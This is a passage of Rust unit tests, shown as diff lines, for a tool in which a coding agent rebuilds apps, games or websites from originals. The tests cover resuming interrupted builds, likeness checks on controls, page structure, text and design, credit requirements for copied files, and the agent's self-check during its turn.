+ } + + fn bench() -> Bench { + let dir = tempfile::tempdir().unwrap(); + let prompts = dir.path().join("prompts.txt"); + let agent = dir.path().join("agent.sh"); + std::fs::write(&agent, format!("#!/bin/sh\nfor last; do :; done\nprintf '%s\\n===\\n' \"$last\" >> '{}'\necho Done.\n", prompts.display())).unwrap(); + std::fs::set_permissions(&agent, std::fs::Permissions::from_mode(0o755)).unwrap(); + let engine = Arc::new(Engine::new(craft_anything_engine::testing::session())); + let hub = AiHub::with_stores(engine, dir.path().join("settings.toml"), crate::KeyStore::file_only(dir.path().join("keys.toml"))); + let mut cfg = hub.config(); + cfg.upsert(crate::BackendEntry { + config: crate::BackendConfig { + name: "Stand-in".into(), + kind: BackendKind::AgentCli, + model: "stand-in".into(), + base_url: None, + ssh_host: None, + enabled: true, + }, + options: crate::BackendOptions { command: Some(agent.display().to_string()), ..Default::default() }, + }); + hub.engine.session().settings.ai = cfg.to_table().unwrap(); + let projects = dir.path().join("projects"); + std::fs::create_dir_all(&projects).unwrap(); + Bench { _dir: dir, hub, projects, prompts } + } + + fn try_it(b: &Bench, ws: &Workspace) -> (bool, Vec) { + let mut kinds = KindRegistry::built_in(); + kinds.register(Arc::new(FlakyKind)); + let run = + RebuildRun::start(&b.hub, Workspace::open(&ws.root).unwrap(), RunOptions { kinds, backend: Some("Stand-in".into()), ..RunOptions::default() }) + .unwrap(); + let began = Instant::now(); + let mut ok = None; + while ok.is_none() { + assert!(began.elapsed() < Duration::from_secs(30), "the run never finished"); + match run.rx.recv_timeout(Duration::from_secs(30)) { + Ok(RunEvent::Finished { ok: o, .. }) => ok = Some(o), + Ok(_) => {} + Err(e) => panic!("the run went away: {e}"), + } + } + (ok.unwrap(), feed::load(&Workspace::open(&ws.root).unwrap())) + } + + fn prompts_given(b: &Bench) -> usize { + std::fs::read_to_string(&b.prompts).unwrap_or_default().matches("===").count() + } + + fn studied(feed: &[feed::FeedItem]) -> bool { + feed.iter().any(|i| matches!(i, feed::FeedItem::Step { step: Step::Study, .. })) + } + + /// A project whose builder has worked: its session and its study are there. + fn worked_on(b: &Bench) -> Workspace { + let mut ws = Workspace::create(&b.projects, "x", "A thing", TargetRef::None).unwrap(); + ws.manifest.agent_session = Some("session-1".into()); + ws.manifest.stack = "Anything".into(); + ws.save().unwrap(); + std::fs::create_dir_all(ws.capture_dir()).unwrap(); + std::fs::create_dir_all(ws.app_dir()).unwrap(); + ws + } + + /// #91: with the helper missing, the build stops before studying or asking the agent, and + /// says why. + #[test] + fn a_missing_helper_stops_the_build_before_any_work() { + struct NoHelper; + impl crate::cli_agents::AgentAdapter for NoHelper { + fn ids(&self) -> &'static [&'static str] { + &["stand-in"] + } + fn args(&self, cx: &crate::cli_agents::ArgsCx) -> Vec { + vec![cx.prompt.to_string()] + } + fn streams_json(&self) -> bool { + false + } + fn check_tool_server(&self, stop: &CancelToken) -> Result<(), ToolError> { + crate::cli_agents::cli_can_start(None, stop) + } + } + let b = bench(); + let ws = Workspace::create(&b.projects, "x", "A thing", TargetRef::None).unwrap(); + let mut adapters = crate::cli_agents::AgentAdapters::built_in(); + adapters.register(Arc::new(NoHelper)); + let run = + RebuildRun::start(&b.hub, Workspace::open(&ws.root).unwrap(), RunOptions { adapters, backend: Some("Stand-in".into()), ..RunOptions::default() }) + .unwrap(); + let began = Instant::now(); + let finished = loop { + assert!(began.elapsed() < Duration::from_secs(30), "the run never finished"); + match run.rx.recv_timeout(Duration::from_secs(30)) { + Ok(RunEvent::Finished { ok, message, .. }) => break (ok, message), + Ok(_) => {} + Err(e) => panic!("the run went away: {e}"), + } + }; + assert!(!finished.0, "{finished:?}"); + assert!(finished.1.contains("craft-anything-cli"), "{finished:?}"); + assert_eq!(prompts_given(&b), 0, "the agent was asked anyway"); + assert!(!studied(&feed::load(&Workspace::open(&ws.root).unwrap())), "it studied first"); + } + + #[test] + fn try_again_after_a_check_that_could_not_run_only_checks() { + let b = bench(); + let mut ws = worked_on(&b); + ws.manifest.awaiting_check = true; + ws.save().unwrap(); + let (ok, feed) = try_it(&b, &ws); + assert!(ok, "{feed:?}"); + assert_eq!(prompts_given(&b), 0, "the builder had finished: it isn't asked again"); + assert!(!studied(&feed), "the original isn't studied again"); + let ws = Workspace::open(&ws.root).unwrap(); + assert!(!ws.manifest.awaiting_check); + assert_eq!(ws.manifest.checks.len(), 1); + } + + #[test] + fn try_again_after_the_builder_stopped_carries_on_instead_of_starting_over() { + let b = bench(); + let ws = worked_on(&b); + let (ok, feed) = try_it(&b, &ws); + assert!(ok, "{feed:?}"); + assert!(!studied(&feed), "the original isn't studied again"); + let told = std::fs::read_to_string(&b.prompts).unwrap(); + assert!(told.contains("Pick up where you left off"), "{told}"); + assert!(!told.contains("Their request"), "not the first-build brief again: {told}"); + } + + #[test] + fn a_new_project_still_starts_from_the_top() { + let b = bench(); + let ws = Workspace::create(&b.projects, "x", "A thing", TargetRef::None).unwrap(); + let (ok, feed) = try_it(&b, &ws); + assert!(ok, "{feed:?}"); + let told = std::fs::read_to_string(&b.prompts).unwrap(); + assert!(!told.contains("Pick up where you left off"), "{told}"); + } + + #[test] + fn a_check_that_could_not_run_gets_a_second_go_and_the_build_is_not_blamed() { + let b = bench(); + let mut ws = worked_on(&b); + std::fs::write(ws.app_dir().join("check-fails"), "1").unwrap(); + ws.manifest.awaiting_check = true; + ws.save().unwrap(); + let (ok, _) = try_it(&b, &ws); + assert!(ok, "one lost browser doesn't fail a finished build"); + + // It keeps failing: the run stops, says the build is fine, and Try again only checks. + let mut ws = worked_on(&b); + ws.manifest.name = "y".into(); + ws.manifest.awaiting_check = false; + ws.save().unwrap(); + std::fs::write(ws.app_dir().join("check-fails"), "2").unwrap(); + let (ok, feed) = try_it(&b, &ws); + assert!(!ok); + assert!( + feed.iter().any(|i| matches!(i, feed::FeedItem::Error { message, .. } if message.contains("The build is finished, but it couldn't be checked"))), + "{feed:?}" + ); + let asked = prompts_given(&b); + assert!(Workspace::open(&ws.root).unwrap().manifest.awaiting_check, "the builder's turn is on record"); + let (ok, _) = try_it(&b, &ws); + assert!(ok); + assert_eq!(prompts_given(&b), asked, "and it isn't asked to build again"); + } +} + +fn check_worker(ws: &Workspace, deep: bool) -> Worker { + let mut s = craft_anything_engine::testing::session(); + s.settings.deep_mode = deep; + let (tx, _rx) = std::sync::mpsc::channel(); + Worker { + wake: Default::default(), + engine: Arc::new(Engine::new(s)), + tx, + stop: CancelToken::default(), + preview: Arc::default(), + seen: HashSet::new(), + inbox: Inbox::new(ws.inbox_dir()), + editor: None, + notes: Arc::default(), + feed: Arc::new(Mutex::new(feed::FeedLog::open(ws))), + assets: false, + decompiled: false, + usage: None, + self_check: None, + } +} + +/// A kind with its checks after the first `.1`, so a test needn't build or start anything. +struct LaterChecks(&'static dyn TargetKind, usize); + +impl TargetKind for LaterChecks { + fn id(&self) -> &'static str { + self.0.id() + } + fn words(&self) -> KindWords { + self.0.words() + } + fn detect(&self, _cx: &DetectCx) -> Option { + None + } + fn default_stack(&self, cx: &DetectCx) -> &'static str { + self.0.default_stack(cx) + } + fn goal(&self) -> &'static str { + self.0.goal() + } + fn checks(&self, ws: &Workspace) -> Vec> { + self.0.checks(ws).into_iter().skip(self.1).collect() + } +} + +/// The app's sheet only. +const APP_SHEET_ONLY: LaterChecks = LaterChecks(&AppKind, 3); + +#[test] +fn apps_keep_the_sheet_only_when_deep_mode_decompiles_a_program() { + let d = tempfile::tempdir().unwrap(); + let prog = Workspace::create(d.path(), "Tool", "Rebuild this app", TargetRef::Local { path: d.path().join("tool.exe") }).unwrap(); + let ids = AppKind.checks(&prog).iter().map(|c| c.id()).collect::>(); + assert_eq!(ids, ["build", "app-runs", "app-screenshot", "mechanics"]); + assert!(brief(&prog, "app", true, false, None, false, None).contains(kinds::mechanics::MECHANICS_CONTRACT)); + assert!(!brief(&prog, "app", false, false, None, false, None).contains("app/mechanics.json"), "Clean room doesn't ask for it"); + + // Deep mode on a program: the sheet is checked (and missing here). + let r = check_worker(&prog, true).run_checks(&prog, &APP_SHEET_ONLY, 1).unwrap(); + assert_eq!(r.len(), 1); + assert!(r[0].check == "mechanics" && !r[0].passed, "{:?}", r[0]); + // Clean room, or nothing to decompile: skipped, leaving no result. + assert!(check_worker(&prog, false).run_checks(&prog, &APP_SHEET_ONLY, 1).unwrap().is_empty()); + let fresh = Workspace::create(d.path(), "Fresh", "A notes app", TargetRef::None).unwrap(); + assert!(check_worker(&fresh, true).run_checks(&fresh, &APP_SHEET_ONLY, 1).unwrap().is_empty()); +} + +#[test] +fn games_are_asked_for_the_sheet_checks_read() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Arena", "Recreate this game", TargetRef::Local { path: d.path().to_path_buf() }).unwrap(); + let ids = |ws: &Workspace| GameKind.checks(ws).iter().map(|c| c.id()).collect::>(); + assert_eq!(ids(&ws), ["build", "app-screenshot", "game-self-test", "mechanics", "credits"]); + let b = brief(&ws, "game", false, false, None, false, None); + assert!(b.contains("app/mechanics.json") && b.contains(kinds::mechanics::MECHANICS_CONTRACT), "{b}"); + let web = Workspace::create(d.path(), "Web game", "A game of this site", TargetRef::Website { url: "https://example.com".into() }).unwrap(); + assert_eq!(ids(&web), ["build", "app-screenshot", "game-self-test"], "a website's game has no sheet and no original's files"); + let web_brief = brief(&web, "game", true, true, None, false, None); + assert!(web_brief.contains(kinds::self_test::SELF_TEST_CONTRACT) && !web_brief.contains("CREDITS.md"), "{web_brief}"); +} + +#[test] +fn a_game_is_ready_only_when_it_plays_and_credits_the_originals_files() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Caves", "Copy this game", TargetRef::Local { path: d.path().join("game.exe") }).unwrap(); + // The self-test needs a built game to start. + let r = check_worker(&ws, false).run_checks(&ws, &LaterChecks(&GameKind, 2), 1).unwrap(); + assert!(r[0].check == "game-self-test" && !r[0].passed && r[0].note == "There's no built program to start yet.", "{:?}", r[0]); + + // Deep mode on a program: the original's files must be credited and the README says they're private. + const CREDITS_ONLY: LaterChecks = LaterChecks(&GameKind, 4); + let r = check_worker(&ws, true).run_checks(&ws, &CREDITS_ONLY, 1).unwrap(); + assert_eq!(r.len(), 1); + assert!(r[0].check == "credits" && !r[0].passed && r[0].note.contains("app/CREDITS.md") && r[0].note.contains(PRIVATE_USE_NOTE), "{:?}", r[0]); + std::fs::create_dir_all(ws.app_dir()).unwrap(); + std::fs::write( + ws.app_dir().join("README.md"), + format!( + "# Caves + +{PRIVATE_USE_NOTE} +" + ), + ) + .unwrap(); + std::fs::write( + ws.app_dir().join("CREDITS.md"), + "- Content/Rock.uasset from the game's Paks folder +", + ) + .unwrap(); + assert!(check_worker(&ws, true).run_checks(&ws, &CREDITS_ONLY, 2).unwrap()[0].passed); + // Clean room copies none of the original's files, and a game without a target has none: skipped. + assert!(check_worker(&ws, false).run_checks(&ws, &CREDITS_ONLY, 1).unwrap().is_empty()); + let snake = Workspace::create(d.path(), "Snake", "A snake game", TargetRef::None).unwrap(); + assert!(check_worker(&snake, true).run_checks(&snake, &CREDITS_ONLY, 1).unwrap().is_empty()); +} + +#[test] +fn app_check_compares_the_labelled_controls() { + use kinds::screenshot::controls_likeness; + let tree = |nodes: &[(&str, &str)]| json!({"nodes": nodes.iter().map(|(role, title)| json!({"role": role, "title": title})).collect::>()}); + let original = + tree(&[("Window", "Character Map"), ("Pane", "Characters to copy :"), ("Button", "&Copy"), ("Button", "Select"), ("Image", ""), ("MenuItem", "File")]); + // Case, spacing, mnemonics and a trailing colon don't matter; unlabelled parts aren't counted. + let same = + tree(&[("AXWindow", "character map"), ("AXStaticText", "Characters to copy"), ("AXButton", "Copy"), ("AXButton", "Select"), ("AXMenuItem", "File")]); + let c = controls_likeness(&original, &same).unwrap(); + assert_eq!((c.similarity.round(), c.missing.clone()), (100.0, Vec::::new())); + + let thin = tree(&[("Window", "Character Map"), ("Button", "Select"), ("Button", "Help")]); + let c = controls_likeness(&original, &thin).unwrap(); + assert_eq!(c.similarity.round(), 50.0, "2 shared of 5 + 3: 2*2/8"); + assert_eq!(c.missing, vec!["\"Characters to copy :\" (pane)", "\"Copy\" (button)", "\"File\" (menuitem)"]); + assert_eq!( + c.note(), + "Its controls are 50% alike by their labels; the original also has \"Characters to copy :\" (pane), \"Copy\" (button), \"File\" (menuitem)." + ); + assert!(controls_likeness(&tree(&[("Pane", "Game"), ("Pane", "")]), &thin).is_none(), "a game window has nothing to compare"); + + // Each control a person uses is a requirement of its own; text labels stay advisory. + let claims = kinds::screenshot::control_claims(&original, &thin); + let got: Vec<(&str, bool)> = claims.iter().map(|c| (c.title.as_str(), c.passed)).collect(); + assert_eq!( + got, + [ + ("It has the original's \"Copy\" button", false), + ("It has the original's \"Select\" button", true), + ("It has the original's \"File\" menuitem", false) + ] + ); + assert!(kinds::screenshot::control_claims(&original, &same).iter().all(|c| c.passed), "labels match whatever the platform calls the role"); +} + +#[test] +fn website_check_compares_the_page_structure() { + use kinds::website::structure_likeness; + let page = |parts: &[(&str, Option<&str>)]| json!({"outline": parts.iter().map(|(tag, role)| match role { Some(r) => json!({"tag": tag, "role": r}), None => json!({"tag": tag}) }).collect::>()}); + let original = + page(&[("header", None), ("nav", None), ("h1", None), ("p", None), ("ul", None), ("ul", None), ("form", None), ("input", None), ("footer", None)]); + // Roles count as their element; ul and ol are both lists; paragraphs and divs aren't parts. + let same = page(&[ + ("div", Some("banner")), + ("div", Some("navigation")), + ("h1", None), + ("ol", None), + ("ul", None), + ("form", None), + ("textarea", None), + ("div", Some("contentinfo")), + ]); + let s = structure_likeness(&original, &same).unwrap(); + assert_eq!((s.similarity.round(), s.missing.clone()), (100.0, vec![]), "{s:?}"); + + let thin = page(&[("header", None), ("h1", None), ("ul", None), ("footer", None)]); + let s = structure_likeness(&original, &thin).unwrap(); + assert_eq!(s.similarity.round(), 67.0, "4 of 8 parts in order: 2*4/12"); + assert_eq!(s.missing, vec![("navigation bar", 1), ("form", 1), ("list", 1), ("form field", 1)]); + assert_eq!(s.note(), "structure 67% alike; missing parts: a navigation bar, a form, a list, a form field"); + let s = structure_likeness(&original, &page(&[])).unwrap(); + assert!(s.note().contains("2 lists"), "{}", s.note()); + assert!(structure_likeness(&page(&[("p", None)]), &thin).is_none(), "nothing to compare"); +} + +#[test] +fn website_check_pairs_opened_states_by_kind_and_label() { + use kinds::website::pair_states; + let original = json!({"states": [ + {"kind": "menu", "label": "Products", "file": "state-1.png"}, + {"kind": "dialog", "label": "Sign up", "file": "state-2.png"}, + {"kind": "tab", "label": "Pricing", "file": "state-3.png"}, + {"kind": "menu", "label": "Went elsewhere", "changed": ["address changed"]} + ]}); + let built = json!({"states": [ + {"kind": "dialog", "label": "sign up", "file": "state-1.png"}, + {"kind": "menu", "label": "Products", "file": "state-2.png"}, + {"kind": "section", "label": "Pricing", "file": "state-3.png"} + ]}); + let pairs: Vec<(&str, Option<&str>)> = + pair_states(&original, &built).into_iter().map(|(o, b)| (o["file"].as_str().unwrap(), b.map(|b| b["file"].as_str().unwrap()))).collect(); + assert_eq!( + pairs, + vec![("state-1.png", Some("state-2.png")), ("state-2.png", Some("state-1.png")), ("state-3.png", None)], + "unpictured states are left out" + ); + assert!(pair_states(&json!({"states": []}), &built).is_empty()); +} + +#[test] +fn deeper_pages_come_from_the_captured_pages_links() { + use kinds::website::{Route, pick_deeper_routes}; + let start = "https://shop.example.com/"; + let have = vec![Route { path: "/products".into(), slug: "products".into(), url: "https://shop.example.com/products".into() }]; + let products_page = json!({"links": [ + {"href": "https://shop.example.com/products/"}, + {"href": "https://shop.example.com/products/chairs"}, + {"href": "https://shop.example.com/products/tables"}, + {"href": "https://shop.example.com/"}, + {"href": "https://elsewhere.example.org/x"}, + {"href": "https://shop.example.com/brochure.pdf"} + ]}); + let about_page = json!({"links": [{"href": "https://shop.example.com/products/chairs"}, {"href": "https://shop.example.com/team"}]}); + let r = pick_deeper_routes(&[products_page.clone(), about_page], start, &have, 5); + let paths: Vec<&str> = r.iter().map(|r| r.path.as_str()).collect(); + assert_eq!(paths, vec!["/products/chairs", "/products/tables", "/team"], "new pages only, once each, same site, no files"); + assert_eq!(pick_deeper_routes(&[products_page], start, &have, 1).len(), 1, "never more than there's room for"); +} + +#[test] +fn website_check_compares_the_text_and_names_what_is_missing() { + use kinds::website::text_likeness; + let original = json!({ + "text": "Simple pricing for teams. Plans start at 9 dollars. FAQ: can I cancel? Yes, anytime.", + "headings": [{"level": 1, "text": "Simple pricing"}, {"level": 2, "text": "FAQ"}] + }); + let built = json!({ + "text": "Simple pricing for teams. Plans start at 9 dollars.", + "headings": [{"level": 1, "text": "Simple Pricing"}] + }); + let t = text_likeness(&original, &built).unwrap(); + assert!(t.similarity > 50.0 && t.similarity < 90.0, "{}", t.similarity); + assert_eq!(t.missing_headings, vec!["FAQ".to_string()], "case and spacing don't matter"); + assert!(t.missing_words.contains(&"faq".to_string()) && t.missing_words.contains(&"cancel".to_string()), "{:?}", t.missing_words); + assert!(t.note().starts_with("text ") && t.note().contains("missing headings: \"FAQ\""), "{}", t.note()); + let same = text_likeness(&original, &original).unwrap(); + assert!((same.similarity - 100.0).abs() < 1e-9 && same.missing_headings.is_empty() && same.missing_words.is_empty()); + assert!(text_likeness(&json!({"text": ""}), &built).is_none(), "nothing to compare"); +} + +#[test] +fn a_resumed_game_builder_hears_the_asset_choice_as_it_is_now() { + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "Game", "A snake game", TargetRef::None).unwrap(); + let game = kind("game"); + fn cx(ws: &Workspace, assets: bool) -> BriefCx<'_> { + BriefCx { ws, deep: false, ghidra: false, editor: None, assets, image_model: None } + } + assert!(game.follow_up_sections(&cx(&ws, true)).is_empty(), "off and never used: nothing to say"); + // Turned on after the first build, with a key: the follow-up carries the asset note and budget. + ws.set_person(|m| m.generate_assets = true).unwrap(); + let on = game.follow_up_sections(&cx(&ws, true)); + assert!(on[0].contains("assets_model_generate") && on[0].contains("$5.00"), "{on:?}"); + assert!(game.follow_up_sections(&cx(&ws, false)).is_empty(), "no key: not offered"); + // Turned off after some were made: say so. + let rec = craft_anything_engine::workspace::AssetRecord { file: "a.glb".into(), kind: "model".into(), prompt: "a crate".into(), cost_usd: 0.5, at_ms: 1 }; + ws.record_asset(rec).unwrap(); + ws.set_person(|m| m.generate_assets = false).unwrap(); + assert!(game.follow_up_sections(&cx(&ws, true))[0].contains("now off")); + assert!(kind("website").follow_up_sections(&cx(&ws, true)).is_empty()); +} + +#[test] +fn a_stopped_build_is_told_to_carry_on_not_start_over() { + let p = continue_prompt(kind("website").as_ref()); + assert!(p.contains("stopped before it finished") && p.contains("Pick up where you left off") && p.contains("app/")); +} + +#[test] +fn the_extractor_takes_the_originals_out_and_the_builder_is_told_where() { + let b = extract_brief(Path::new("D:/Games/Cave Game")); + assert!(b.contains("D:/Games/Cave Game") && b.contains("app/Original/") && b.contains("permission: true"), "{b}"); + assert!(b.contains("Never decrypt") && b.contains("You don't build the game") && b.contains(&format!("app/{ORIGINALS_MANIFEST}")), "{b}"); + assert!(b.contains("never write your own archive reader") && b.contains("ending in `/`"), "{b}"); + assert!(ORIGINALS_READY.contains("app/Original/MANIFEST.md") && ORIGINALS_READY.contains("CREDITS.md")); +} + +#[test] +fn the_check_names_padding_colour_font_and_width_differences() { + use kinds::website::design_notes; + let section = |heading: &str, pad: [u64; 4], per_row: u64, column: u64| json!({"tag": "section", "heading": heading, "pad": pad, "per_row": per_row, "column": {"max_w": column, "x": 80}}); + let original = json!({ + "design": {"backgrounds": [{"value": "#12181f"}, {"value": "#0c2a2a"}], "text_colors": [{"value": "#e6ecf2"}], + "fonts": [{"value": "Figtree, sans-serif"}], "font_sizes": [{"value": "64px"}, {"value": "16px"}], + "spacing": [{"value": "96px"}, {"value": "24px"}]}, + "layouts": [ + {"width": 1440, "page_w": 1440, "type": {"h1": 64, "body": 16}, "blocks": [json!({"tag": "header", "pad": [16, 32, 16, 32], "per_row": 1}), section("Plans", [96, 32, 96, 32], 3, 1280)]}, + {"width": 390, "page_w": 390, "type": {"h1": 40}, "blocks": [section("Plans", [64, 16, 64, 16], 1, 1280)]} + ] + }); + // next/font renames the family and the browser rounds a colour by a step: both still match. + let same = json!({ + "design": {"backgrounds": [{"value": "#12181e"}, {"value": "#0c2a2a"}], "text_colors": [{"value": "#e6ecf2"}], + "fonts": [{"value": "\"__Figtree_a1b2c3\", \"__Figtree_Fallback_a1b2c3\""}], "font_sizes": [{"value": "64px"}, {"value": "16px"}], + "spacing": [{"value": "24px"}, {"value": "96px"}]}, + "layouts": original["layouts"].clone() + }); + assert!(design_notes(&original, &same).is_empty(), "{:?}", design_notes(&original, &same)); + let built = json!({ + "design": {"backgrounds": [{"value": "#ffffff"}, {"value": "#0c2a2a"}], "text_colors": [{"value": "#e6ecf2"}], + "fonts": [{"value": "Inter, sans-serif"}], "font_sizes": [{"value": "48px"}, {"value": "16px"}], "spacing": [{"value": "24px"}]}, + "layouts": [ + {"width": 1440, "page_w": 1440, "type": {"h1": 48, "body": 16}, "blocks": [json!({"tag": "header", "pad": [16, 32, 16, 32], "per_row": 1}), section("Plans", [48, 24, 48, 24], 1, 1200)]}, + {"width": 390, "page_w": 512, "type": {"h1": 40}, "blocks": [json!({"tag": "section", "heading": "plans ", "pad": [64, 16, 64, 16], "per_row": 1})]} + ] + }); + let notes = design_notes(&original, &built); + assert_eq!(notes[0], "colours the original uses that the build doesn't: #12181f (background)"); + assert_eq!(notes[1], "main font: Figtree in the original, Inter in the build"); + assert_eq!(notes[2], "text sizes the original uses that the build doesn't: 64px"); + assert_eq!(notes[3], "spacing the original uses that the build doesn't: 96px"); + assert_eq!( + notes[4], + "at 1440 px: top heading 48 px, the original's 64 px; the \"Plans\" section: padding 48 24 48 24 vs the original's 96 32 96 32, 1 per row vs 3, content column 1200 px vs 1280 px" + ); + assert_eq!(notes[5], "at 390 px: the page scrolls sideways (512 px wide); the \"Plans\" section: no content column (the original's is 1280 px)"); + assert_eq!(notes.len(), 6); + assert!(design_notes(&json!({}), &json!({})).is_empty(), "nothing to compare"); +} + +#[test] +fn menus_are_studied_on_a_phone_too() { + use kinds::website::{STATES_DIR, phone_states_dir, phone_width, pictured_states, state_dirs}; + assert_eq!(phone_width(&[1440, 768, 390]), Some(390)); + assert_eq!(phone_width(&[1440, 1024]), None); + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Shop", "Clone it", TargetRef::Website { url: "https://shop.example.com/".into() }).unwrap(); + for (dir, width, label) in [(STATES_DIR.to_string(), 1440, "Products"), (phone_states_dir(390), 390, "Menu")] { + let states = ws.capture_dir().join(dir); + std::fs::create_dir_all(&states).unwrap(); + let list = json!({"width": width, "states": [{"kind": "menu", "label": label, "file": "state-1.png"}]}); + std::fs::write(states.join("states.json"), serde_json::to_vec(&list).unwrap()).unwrap(); + } + std::fs::create_dir_all(ws.capture_dir().join("states-old")).unwrap(); + assert_eq!(state_dirs(&ws.capture_dir()), ["states", "states-390"]); + assert_eq!(pictured_states(&ws), ["states/state-1.png (Products, menu, 1440 px)", "states-390/state-1.png (Menu, menu, 390 px)"]); +} + +/// A builder whose turn lasts until its own check (asked like `rebuild_check` from another process) +/// has been answered by the run, then ends with that answer as its reply. +struct ChecksItsWork { + root: PathBuf, + asked: Option>>, + reply: Option, +} + +impl Conversation for ChecksItsWork { + fn send(&mut self, _text: &str) { + let asks = Inbox::new(self_check::asks_dir(&self.root)); + self.asked = Some(std::thread::spawn(move || { + let id = asks.post(craft_anything_engine::inbox::RequestKind::Question, "Check the build", "", Vec::new(), false, None).ok()?; + asks.wait(&id, Duration::from_secs(20), &|| false).and_then(|a| a.text) + })); + } + fn poll(&mut self) -> Vec { + if self.asked.as_ref().is_some_and(|h| h.is_finished()) { + self.reply = self.asked.take().and_then(|h| h.join().ok()).flatten(); + } + match self.reply.take() { + Some(text) => { + vec![ + AgentEvent::TextDelta { text }, + AgentEvent::TurnDone { backend: "test".into(), input_tokens: 0, output_tokens: 0, cost_usd: None, cost_is_estimate: false }, + ] + } + None => Vec::new(), + } + } + fn answer_consent(&mut self, _call_id: &str, _allow: bool) {} + fn stop(&mut self) {} + fn is_busy(&self) -> bool { + true + } +} + +#[test] +fn preparing_the_builders_agent_does_not_lock_up() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Arena", "Recreate this game", TargetRef::None).unwrap(); + let (tx, _rx) = std::sync::mpsc::channel(); + let w = Worker { + wake: Default::default(), + engine: Arc::new(Engine::new(craft_anything_engine::testing::session())), + tx, + stop: CancelToken::default(), + preview: Arc::default(), + seen: HashSet::new(), + inbox: Inbox::new(ws.inbox_dir()), + editor: None, + notes: Arc::default(), + feed: Arc::new(Mutex::new(feed::FeedLog::open(&ws))), + assets: false, + decompiled: false, + usage: None, + self_check: None, + }; + let entry = crate::BackendEntry { + config: crate::BackendConfig { + name: "x".into(), + kind: crate::BackendKind::AgentCli, + model: "claude-code".into(), + base_url: None, + ssh_host: None, + enabled: true, + }, + options: Default::default(), + }; + let (done, finished) = std::sync::mpsc::channel(); + std::thread::spawn(move || { + let _ = done.send(w.agent_spec(&ws, &entry, &RunOptions::default()).logs); + }); + let logs = finished.recv_timeout(std::time::Duration::from_secs(20)).expect("it took the session lock twice and waited on itself"); + assert!(logs.is_some()); +} + +#[test] +fn the_run_answers_the_builders_own_check_during_its_turn() { + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "Arena", "Recreate this game", TargetRef::None).unwrap(); + let (tx, rx) = std::sync::mpsc::channel(); + let mut w = Worker { + wake: Default::default(), + engine: Arc::new(Engine::new(craft_anything_engine::testing::session())), + tx, + stop: CancelToken::default(), + preview: Arc::default(), + seen: HashSet::new(), + inbox: Inbox::new(ws.inbox_dir()), + editor: None, + notes: Arc::default(), + feed: Arc::new(Mutex::new(feed::FeedLog::open(&ws))), + assets: false, + decompiled: false, + usage: None, + self_check: Some((Arc::new(SheetKind), 90.0)), + }; + let mut builder = ChecksItsWork { root: ws.root.clone(), asked: None, reply: None }; + let reply = w.turn(&mut ws, &mut builder, "Build it.").unwrap(); + // The same check the run makes after a turn, as round 0, with what to do next. + assert!(reply.starts_with("mechanics: failed") && reply.contains("no app/mechanics.json") && reply.contains("check again with rebuild_check"), "{reply}"); + assert!(ws.manifest.checks.is_empty(), "the builder's own check isn't a round"); + let steps: Vec = rx.try_iter().filter_map(|e| if let RunEvent::Step { text, .. } = e { Some(text) } else { None }).collect(); + assert!(steps.iter().any(|s| s.contains("checking its work")) && steps.iter().any(|s| s.contains("checked its work")), "the person sees it: {steps:?}"); + assert!(Inbox::new(self_check::asks_dir(&ws.root)).pending().is_empty(), "nothing left waiting"); +} + +#[test] +fn every_kind_leads_tests_its_own_build_and_keeps_its_unknowns() { + let d = tempfile::tempdir().unwrap(); + let web = TargetRef::Website { url: "https://example.com".into() }; + for (k, target, stack) in [("website", web, stacks::BUILDERS_CHOICE), ("app", TargetRef::None, "Rust + egui (eframe)"), ("game", TargetRef::None, "Godot")] + { + let mut ws = Workspace::create(d.path(), k, "Rebuild it", target).unwrap(); + ws.manifest.stack = stack.into(); + let b = brief(&ws, k, false, false, None, false, None); + assert!(b.contains("you lead the investigation") && b.contains("Don't repeat a call that already answered"), "{k}: {b}"); + assert!(b.contains("core_unknown_add") && b.contains("core_unknown_edit") && b.contains("Missing evidence is never proof"), "{k}"); + assert!(b.contains("go through your checklist and core_unknowns_show"), "{k}"); + assert!(b.contains("Test it against the original with rebuild_check") && b.contains("Before you reply, go through your checklist"), "{k}"); + if k == "website" { + assert!(b.contains("Work from these pictures and measurements.\n\nMatch it exactly"), "one clean paragraph break: {b}"); + let deep = brief(&ws, k, true, false, None, false, None); + assert!(deep.contains("(the rendered HTML).\n\nMatch it exactly"), "one clean paragraph break: {deep}"); + } + } + assert!(follow_up("bigger title", "game").contains("check it with rebuild_check")); + assert!(continue_prompt(kind("app").as_ref()).contains("check it with rebuild_check")); +} + +#[test] +fn the_check_names_errors_failed_requests_and_accessibility_the_build_adds() { + use kinds::website::health_notes; + let original = json!({ + "health": {"errors": [{"kind": "script", "text": "ads.js blocked"}], "failed_requests": [{"url": "https://ex.com/ads/pixel.gif", "status": 404}]}, + "a11y": {"lang": "en", "unnamed_controls": 1, "images_without_alt": 0} + }); + // The original's own problems, served from elsewhere, aren't the build's to fix. + let same = json!({ + "health": {"errors": [{"kind": "script", "text": "ads.js blocked"}], "failed_requests": [{"url": "http://127.0.0.1:5173/ads/pixel.gif", "status": 404}]}, + "a11y": {"lang": "en", "unnamed_controls": 1, "images_without_alt": 0} + }); + assert!(health_notes(&original, &same).is_empty(), "{:?}", health_notes(&original, &same)); + let built = json!({ + "health": { + "errors": [{"kind": "script", "text": "TypeError: x is undefined"}, {"kind": "console", "text": "Hydration failed"}], + "failed_requests": [{"url": "http://127.0.0.1:5173/fonts/Figtree.woff2", "error": "net::ERR_FILE_NOT_FOUND"}, {"url": "http://127.0.0.1:5173/logo.png", "status": 404}] + }, + "a11y": {"lang": "", "unnamed_controls": 4, "images_without_alt": 2} + }); + assert_eq!( + health_notes(&original, &built), + [ + "the build logs 2 error(s) the original doesn't: \"TypeError: x is undefined\"; \"Hydration failed\"", + "2 request(s) fail in the build: /fonts/Figtree.woff2 (net::ERR_FILE_NOT_FOUND), /logo.png (404)", + "4 controls without a name (the original has 1)", + "2 pictures without alt text (the original has 0)", + "the page language isn't set (the original's is en)", + ] + ); + assert!(health_notes(&json!({}), &json!({})).is_empty(), "older captures have nothing to compare"); +} + +#[test] +fn each_thing_a_page_must_do_is_a_claim_of_its_own() { + use kinds::website::page_claims; + let original = 